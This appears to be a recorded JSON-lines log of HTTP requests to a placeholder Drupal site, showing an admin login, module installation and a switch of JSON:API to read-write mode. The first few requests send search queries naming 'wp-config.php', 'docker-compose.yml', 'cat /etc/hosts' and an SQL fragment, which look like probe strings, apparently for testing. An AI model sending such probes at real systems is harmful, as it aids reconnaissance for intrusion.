{"method": "GET", "target": "/search/node?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-66TNlUp8tQI0lgPvIXpN9McAK6NI-RbJZJy3xQUipSQ&form_id=user_login_form&op=Log+in"}
|
||||
{"method": "GET", "target": "/user/1?check_logged_in=1", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/assets/vendor/jquery/jquery.min.js?v=4.0.0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/assets/vendor/htmx/htmx.min.js?v=2.0.4", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_qhwQ8jvh5-NzL8fRjdtXDUU3Co41JbElOhNplEhbA0U.css?delta=0&language=en&theme=olivero&include=eJx9zUEOxCAIheELaT0TWtKQIhjBdnr7cTZ1N9sPXv6i4vjxAZz2PhrwVl6JTHJaKNoxFa1NBcVtE7joACeVGJ2c8f-HKmfoMQ93lbBOiWanyywuC8p0YdfEWmYfyg_t1YpmcOCCpjd23GN-Yp6TM9hjjjVlMPwCqYxVTQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_oc7ElP8_y3MBtFrEyAhgHKJSA-SMDBidNXaZSY7_mDc.css?delta=1&language=en&theme=olivero&include=eJx9zUEOxCAIheELaT0TWtKQIhjBdnr7cTZ1N9sPXv6i4vjxAZz2PhrwVl6JTHJaKNoxFa1NBcVtE7joACeVGJ2c8f-HKmfoMQ93lbBOiWanyywuC8p0YdfEWmYfyg_t1YpmcOCCpjd23GN-Yp6TM9hjjjVlMPwCqYxVTQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_GwAx9-XxvwjT99hmLVXFfHhAt3uBqjr-skP9WQDCcoM.js?scope=footer&delta=3&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_3uG4RM-Em2VD212gfyh-PIM42Pr7XCSwv3TXIbnBX9A.css?delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLSjKzE0sqgQAjl4KkQ&exclude=eJx9jVEOgzAMQy_U0iNNaYlQRYirNmXj9oNNwB9_T_aTnaDGH-skYay9kAzpSrxknZtrWzNeQqTGLqHyKVKyvPJPcpAdK0LBmyuPPm4-CtLsYp5eJRcOJ1zqXu8Xxwi0_YcTlgJltTYorXmio_PeAIlUfexm0Gc1m7C7k3DjILSh2xdIDF3F", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_JYK8tPdiju1DBZ5kGKcUua-GioSL5qptDKhEKxqe4cM.css?delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLU5Nzs9LSSyqBACkMwtV&exclude=eJx9jkEOwyAMBD8E4UmVIVZkxbERmLT8vrSNkpx6W61nNY60PDJlDPEILqkYvqwBh7m0DDxdjWeStQ6kYEi6ZRUUq5PATgsYqXhvZIz_CVWOUHxsZio_9DBBMtrxa3HXJFxxYujazCkPrmhgTeOrz0ylnu3NlgttUPp5yvrEgrOP3ccxXl3t1XALESq-Afi0aIE", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_breadcrumbs%3Alangcode%3Den&tokens%5B%5D=DupSXj2bNdZYw9OEb6f4T6BX3qXPnA1znFW4miVijJU"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I"}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_5hB-Wy2Hxb85RQLTESYetivjeaSJY2GQ6oXCxZeNfeA.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLSjKzE0sqgQAjl4KkQ&exclude=eJx9jVEOgzAMQy_U0iNNaYlQRYirNmXj9oNNwB9_T_aTnaDGH-skYay9kAzpSrxknZtrWzNeQqTGLqHyKVKyvPJPcpAdK0LBmyuPPm4-CtLsYp5eJRcOJ1zqXu8Xxwi0_YcTlgJltTYorXmio_PeAIlUfexm0Gc1m7C7k3DjILSh2xdIDF3F", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU"}
|
||||
{"method": "GET", "target": "/admin/modules", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_V22smjChlNYtGFhubSnrJiBbIXxpjPF7r7uLdgFcWYg.css?delta=0&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Yfs9-4VfSKB714k1kHFtY4JRa_hGedSW2uxnik6dlsA.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/modules", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": "text=&modules%5Bmedia%5D%5Benable%5D=1&modules%5Bmedia_library%5D%5Benable%5D=1&modules%5Bbasic_auth%5D%5Benable%5D=1&modules%5Bjsonapi%5D%5Benable%5D=1&modules%5Brest%5D%5Benable%5D=1&form_build_id=form-rTmWsVrCT6WepF1-_TDWkfTkaaNLlMY8wxMtnsYWGvo&form_token=YAgSiY0E1e9HGDw2HnSiS67ixWkvvnJtCDwS6VQFU-Y&form_id=system_modules&op=Install"}
|
||||
{"method": "GET", "target": "/admin/modules/list/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_dwzS5I9OMr00BcXlUn2t2KsKkO9EWWCZE6LZ1FmemH0.css?delta=0&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_vwLE_CZTWTR3i1176WdafZPd0GuZTOaM96RTRN5CTp0.js?scope=footer&delta=3&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/modules/list/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-g3r5ZjoUbNVxAXsFI-wm70qV7waoi0wi6zuZPBDsUrU&form_token=gkxg1871lXWQF8ZemxwSn2XUPNst5Hpx-KNLlJwJ5DU&form_id=system_modules_confirm_form&op=Continue"}
|
||||
{"method": "GET", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_2XXM5MZ_MIzS5taV4QGJgA5WOMfNbkQyy93p1WQyRNI.css?delta=0&language=en&theme=claro&include=eJxFzFEKxCAMRdENNXVN0YqEpnklxjLT1Y8wH_5eDrcoO1JTZFbq8VWxthVY1E8M1nT4uFn3VWiKs0_iNRVcN6xa9N34kcYhMKIANLNTHhGwPzX4xSpv3ZZMMqduc7_aDwZeOK8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_VrhKC7-kxWGUIEsCT4AAFSWF6Z4UJH3OTQdHX4_R8pM.css?delta=1&language=en&theme=claro&include=eJxFzFEKxCAMRdENNXVN0YqEpnklxjLT1Y8wH_5eDrcoO1JTZFbq8VWxthVY1E8M1nT4uFn3VWiKs0_iNRVcN6xa9N34kcYhMKIANLNTHhGwPzX4xSpv3ZZMMqduc7_aDwZeOK8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-WZnlHr3p1LhSxN6dPUx293-ltyG4QtYSRksVbr20Mzg&form_token=3lcJI3eAzFu8-0sfi7vAMI3eU2V91VUFYTwTcOLf7l8&form_id=jsonapi_settings&op=Save+configuration"}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVzGEKgDAIQOELrXYmMRmSuaFudPxGUNHf98HDqkFndJC8WW8gK75lEdbdE1ajBwGDB93w6we5Q6GkMLhAcNXMc2M67WsXMjYquA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_v-Yw0xKoOugqNPSjJ5Uq4iDp8HsOpoK3gpMm6zQyQf0.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVzGEKgDAIQOELrXYmMRmSuaFudPxGUNHf98HDqkFndJC8WW8gK75lEdbdE1ajBwGDB93w6we5Q6GkMLhAcNXMc2M67WsXMjYquA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_xN42W8Ek2DB8BqQV6yHIuvbUBLGM5TZ2vbsUruJAfoM.css?delta=0&language=en&theme=claro&include=eJxLzi9K1U8pKi1IzNErSi1OLdFNLChITSxKzEtOBQCdwwrv&exclude=eJxFjEEOwjAMBD-UNE9CjokiC9cbJU5FeT0VBXobrWaWYV6ePknTvc9GuvB_iSr2GIHRSzL0lVReJbBSR6qKfBjD90Oqp_M9IHbZyicORptUcoGlCxelHdPPiLE2WDEfy2XE6IBm6jFPd1jIUm9NWkk_eAMPukfa", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
